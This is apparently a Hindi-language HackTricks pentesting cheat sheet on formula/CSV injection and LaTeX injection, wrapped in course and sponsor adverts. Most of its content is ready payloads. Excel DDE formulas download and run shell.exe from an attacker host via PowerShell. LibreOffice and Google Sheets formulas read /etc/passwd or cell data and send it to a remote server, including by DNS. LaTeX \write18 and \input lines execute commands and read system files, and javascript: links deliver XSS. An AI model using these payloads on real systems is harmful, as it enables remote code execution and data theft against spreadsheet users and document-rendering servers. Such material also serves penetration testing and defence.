hacktricks/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md

246 lines
20 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# फॉर्मूला/CSV/Doc/LaTeX/GhostScript इंजेक्शन
<details>
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) **का अनुसरण करें**.
* **अपनी हैकिंग ट्रिक्स साझा करें, HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके.
</details>
<figure><img src="../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
अपनी हमले की सतह को ट्रैक करें, सक्रिय खतरे के स्कैन चलाएं, अपने पूरे टेक स्टैक में मुद्दों का पता लगाएं, APIs से लेकर वेब ऐप्स और क्लाउड सिस्टम्स तक। आज ही [**मुफ्त में इसे आजमाएं**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## फॉर्मूला इंजेक्शन
### जानकारी
यदि आपका **इनपुट** **CSV फाइल** में (या किसी अन्य फाइल में जो संभवतः **Excel** द्वारा खोली जाएगी) **प्रतिबिंबित** हो रहा है, तो आप Excel **फॉर्मूले** डाल सकते हैं जो उपयोगकर्ता द्वारा फाइल **खोलने पर** या उपयोगकर्ता द्वारा Excel शीट के अंदर किसी लिंक पर **क्लिक करने पर** **निष्पादित** किए जाएंगे।
{% hint style="danger" %}
आजकल **Excel उपयोगकर्ता को चेतावनी देगा** (कई बार) जब कुछ Excel के बाहर से लोड किया जा रहा हो ताकि उसे मलिशस क्रिया से बचाया जा सके। इसलिए, अंतिम पेलोड पर सोशल इंजीनियरिंग पर विशेष प्रयास किया जाना चाहिए।
{% endhint %}
### [वर्डलिस्ट](https://github.com/payloadbox/csv-injection-payloads)
```
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
```
### हाइपरलिंक
**निम्नलिखित उदाहरण अंतिम एक्सेल शीट से सामग्री को निकालने और मनमाने स्थानों पर अनुरोध करने के लिए बहुत उपयोगी है। लेकिन इसके लिए उपयोगकर्ता को लिंक पर क्लिक करने (और चेतावनी संकेतों को स्वीकार करने) की आवश्यकता होती है।**
उदाहरण [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit) से लिया गया है
मान लीजिए कि एक स्कूल के छात्र रिकॉर्ड प्रबंधन प्रणाली का हमला परिदृश्य है। एप्लिकेशन शिक्षक को स्कूल के छात्रों का विवरण दर्ज करने की अनुमति देता है। हमलावर को एप्लिकेशन तक पहुंच मिल जाती है और वह चाहता है कि एप्लिकेशन का उपयोग करने वाले सभी शिक्षक समझौता कर लें। इसलिए हमलावर वेब एप्लिकेशन के माध्यम से CSV इंजेक्शन हमला करने की कोशिश करता है।\
हमलावर को अन्य छात्रों का विवरण चुराने की जरूरत है। इसलिए हमलावर हाइपरलिंक फॉर्मूला का उपयोग करता है और छात्र विवरण दर्ज करते समय इसे दर्ज करता है।
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_008.png)
जब शिक्षक CSV निर्यात करते हैं और हाइपरलिंक पर क्लिक करते हैं तो संवेदनशील डेटा हमलावर के सर्वर पर भेजा जाता है।
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_009.png)
निर्यात की गई CSV फाइल में दुर्भावनापूर्ण पेलोड होता है।
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_010.png)
छात्र का विवरण हमलावर के वेब सर्वर में लॉग किया गया है।
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_011.png)
### RCE
इस उदाहरण के काम करने के लिए **निम्नलिखित कॉन्फ़िगरेशन सक्षम होना आवश्यक है**:\
File → Options → Trust Center → Trust Center Settings → External Content → Enable Dynamic Data Exchange Server Launch\
या **पुराने Excel संस्करण** का उपयोग।
अच्छी खबर यह है कि **यह पेलोड फाइल खोलते समय स्वचालित रूप से निष्पादित होता है** (यदि उपयोगकर्ता चेतावनियों को स्वीकार करता है)।
निम्नलिखित पेलोड के साथ कैलकुलेटर को निष्पादित करना संभव है **`=cmd|' /C calc'!xxx`**
![](<../.gitbook/assets/image (25) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (8).png>)
### अधिक
```bash
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
```
### LFI
**LibreOffice Calc**
* यह स्थानीय /etc/passwd फ़ाइल से पहली पंक्ति पढ़ेगा: `='file:///etc/passwd'#$passwd.A1`
* इसे बाहर निकालें: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))`
* एक से अधिक पंक्तियों को बाहर निकालें: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
* DNS निष्कासन: `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))`
**DNS निष्कासन पेलोड का विश्लेषण:**
* file:///etc/passwd#$passwd.A19 स्थानीय /etc/passwd फ़ाइल से 19वीं पंक्ति पढ़ेगा
* ENCODEURL(file:///etc/passwd#$passwd.A19) लौटाए गए डेटा को URL एन्कोड करेगा
* MID((ENCODEURL(file:///etc/passwd#$passwd.A19)),1,41) सबस्ट्रिंग की तरह, 1वें अक्षर से 41वें अक्षर तक का डेटा पढ़ेगा DNS होस्टनेम्स की लंबाई को सीमित करने का एक बहुत ही उपयोगी तरीका (FQDN पर 254 अक्षर की सीमा और एक लेबल, यानी सबडोमेन पर 63 अक्षर)
* SUBSTITUTE(MID((ENCODEURL(file:///etc/passwd#$passwd.A19)),1,41),”%”,”-“) URL एन्कोडिंग से विशेष अक्षर % के सभी उदाहरणों को डैश से बदल देगा यह सुनिश्चित करने के लिए कि केवल मान्य DNS अक्षरों का उपयोग हो
* CONCATENATE((SUBSTITUTE(MID((ENCODEURL(file:///etc/passwd#$passwd.A19)),1,41),”%”,”-“)),”.\<FQDN>”) फ़ाइल से आउटपुट (ऊपर की प्रक्रिया के बाद) को FQDN के साथ जोड़ देगा (जिसके लिए हमारे पास डोमेन के लिए प्राधिकृत होस्ट का एक्सेस है)
* WEBSERVICE इस अस्तित्वहीन DNS नाम के लिए एक अनुरोध करेगा जिसे हम फिर DNS प्राधिकृत नाम सर्वर पर लॉग्स (या tcpdump आदि) को पार्स कर सकते हैं जिसके लिए हमारे पास नियंत्रण है
### Google Sheets OOB डेटा निष्कासन
सबसे पहले, कुछ अधिक रोचक फ़ंक्शन्स का परिचय देते हैं।
**CONCATENATE**: स्ट्रिंग्स को एक-दूसरे के साथ जोड़ता है।
```
=CONCATENATE(A2:E2)
```
**IMPORTXML**: विभिन्न संरचित डेटा प्रकारों जैसे XML, HTML, CSV, TSV, और RSS और ATOM XML फीड्स से डेटा आयात करता है।
```
=IMPORTXML(CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
```
**IMPORTFEED**: एक RSS या ATOM फीड को आयात करता है।
```
=IMPORTFEED(CONCAT("http://[remote IP:Port]//123.txt?v=", CONCATENATE(A2:E2)))
```
**IMPORTHTML**: HTML पृष्ठ के अंदर किसी तालिका या सूची से डेटा आयात करता है।
```
=IMPORTHTML (CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
```
**IMPORTRANGE**: निर्दिष्ट स्प्रेडशीट से एक श्रेणी की सेल्स को आयात करता है।
```
=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
```
**IMAGE**: एक सेल में इमेज डालता है।
```
=IMAGE("https://[remote IP:Port]/images/srpr/logo3w.png")
```
## LaTeX इंजेक्शन
आमतौर पर इंटरनेट पर जो सर्वर मिलते हैं जो **LaTeX कोड को PDF में बदलते हैं** वे **`pdflatex`** का उपयोग करते हैं।\
यह प्रोग्राम कमांड निष्पादन को (अ)सक्षम करने के लिए 3 मुख्य गुणों का उपयोग करता है:
* **`--no-shell-escape`**: texmf.cnf फाइल में सक्षम होने पर भी `\write18{command}` संरचना को **अक्षम** करें।
* **`--shell-restricted`**: `--shell-escape` के समान, लेकिन **सीमित** रूप से केवल 'सुरक्षित' सेट के **पूर्वनिर्धारित** कमांड्स के लिए (\*\*Ubuntu 16.04 पर सूची `/usr/share/texmf/web2c/texmf.cnf` में है)।
* **`--shell-escape`**: `\write18{command}` संरचना को **सक्षम** करें। कमांड कोई भी शेल कमांड हो सकता है। सुरक्षा कारणों से इस संरचना को आमतौर पर अनुमति नहीं है।
हालांकि, कमांड निष्पादित करने के अन्य तरीके भी हैं, इसलिए RCE से बचने के लिए `--shell-restricted` का उपयोग करना बहुत महत्वपूर्ण है।
### फाइल पढ़ें <a href="#read-file" id="read-file"></a>
आपको इंजेक्शन को \[ या $ जैसे रैपर्स के साथ समायोजित करने की आवश्यकता हो सकती है।
```bash
\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
```
#### एकल पंक्ति वाली फाइल पढ़ें
```bash
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
```
#### एकाधिक पंक्तियों वाली फ़ाइल को पढ़ें
```bash
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
```
### फाइल लिखें <a href="#write-file" id="write-file"></a>
```bash
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
```
### कमांड निष्पादन <a href="#command-execution" id="command-execution"></a>
कमांड का इनपुट stdin पर पुनर्निर्देशित किया जाएगा, इसे प्राप्त करने के लिए एक अस्थायी फाइल का उपयोग करें।
```bash
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
```
यदि आपको कोई LaTex त्रुटि मिलती है, तो बुरे अक्षरों के बिना परिणाम प्राप्त करने के लिए base64 का उपयोग करने पर विचार करें।
```bash
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
```
```bash
\input|ls|base4
\input{|"/bin/hostname"}
```
### क्रॉस साइट स्क्रिप्टिंग <a href="#cross-site-scripting" id="cross-site-scripting"></a>
[@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130) से
```bash
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
```
## Ghostscript Injection
TODO: [https://blog.redteam-pentesting.de/2023/ghostscript-overview/](https://blog.redteam-pentesting.de/2023/ghostscript-overview/) से अधिक प्रासंगिक जानकारी और तकनीकों के साथ एक सारांश बनाएं।
## संदर्भ
* [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1)
* [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/)
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
<figure><img src="../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
सबसे महत्वपूर्ण कमजोरियों को खोजें ताकि आप उन्हें तेजी से ठीक कर सकें। Intruder आपकी अटैक सरफेस को ट्रैक करता है, सक्रिय धमकी स्कैन चलाता है, और आपके पूरे टेक स्टैक में मुद्दों को खोजता है, APIs से लेकर वेब ऐप्स और क्लाउड सिस्टम्स तक। [**इसे मुफ्त में आजमाएं**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)।
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert) के साथ AWS हैकिंग सीखें शून्य से नायक तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
</details>